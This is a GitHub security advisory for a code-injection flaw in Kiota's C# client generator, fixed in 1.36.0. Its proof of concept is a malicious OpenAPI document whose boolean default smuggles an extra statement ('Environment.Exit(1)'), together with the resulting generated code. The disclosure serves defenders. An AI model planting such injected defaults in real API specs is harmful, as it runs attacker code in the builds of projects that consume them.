# GHSA-PWG8-53F6-H8F2: Kiota C# generator - Code generation injection via malicious OpenAPI document

- Database: GitHub
- Severity: high (stated by ghsa, no CVSS score)
- Published: 2026-10-29
- Modified: 2026-10-29

## Affected versions

- kiota (npm): fixed in 1.36.0
- kiota (NuGet): fixed in 1.36.0

## Description

### Summary

The Kiota code generator is susceptible to a code generation injection vulnerability. This issue arises when an attacker crafts a malicious OpenAPI document that embeds arbitrary code, which is then executed during the code generation process. The vulnerability specifically affects the Kiota code  generator and can lead to the execution of unintended commands, such as terminating the application.

### Details

The Kiota code generator is vulnerable to a code generation injection attack. With a carefully crafted OpenAPI document, an attacker can embed arbitrary code. By setting up the default boolean or numeric value to anything else plus the expected value, it would let the user execute code when calling the property affected by the code injection. This was caused by missing validation in `src/Kiota.Builder/**/**/CodeMethodWriter.cs`.

The fix adds validation that prevents anything that's not the expected values to be part of the generated code. Scrubbing off anything that's not the expected value.

### Proof of concept

Use the following OpenAPI document

```json
{
	"openapi": "3.2.0",
	"info": {
		"title": "Sample",
		"version": "1.0.0"
	},
	"paths": {
		"/api": {
			"post": {
				"tags": [
					"Sample"
				],
				"requestBody": {
					"content": {
						"application/json": {
							"schema": {
								"$ref": "#/components/schemas/Model"
							}
						}
					}
				},
				"responses": {
					"200": {
						"description": "OK",
						"content": {
							"application/json": {
								"schema": {
									"$ref": "#/components/schemas/Model"
								}
							}
						}
					}
				}
			}
		}
	},
	"components": {
		"schemas": {
			"Model": {
				"type": "object",
				"properties": {
					"MyProperty": {
						"type": "boolean",
						"default": "'false; Environment.Exit(1)'"
					}
				}
			}
		}
	},
	"tags": [
		{
			"name": "Sample"
		}
	]
}
```

Run `kiota generate -d openapi.json --language csharp`, and look at Model.cs,

```csharp
public Model()
{
  AdditionalData = new Dictionary<string, object>();
  MyProperty = false; Environment.Exit(1);
}
```

### Impact

If users use third party OpenApi document or a compromised OpenApi document, using kiota <1.36.0 they could get impacted by this code injection.

## References

- https://github.com/microsoft/kiota/security/advisories/GHSA-pwg8-53f6-h8f2

Page: https://cve.now/GHSA-PWG8-53F6-H8F2

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
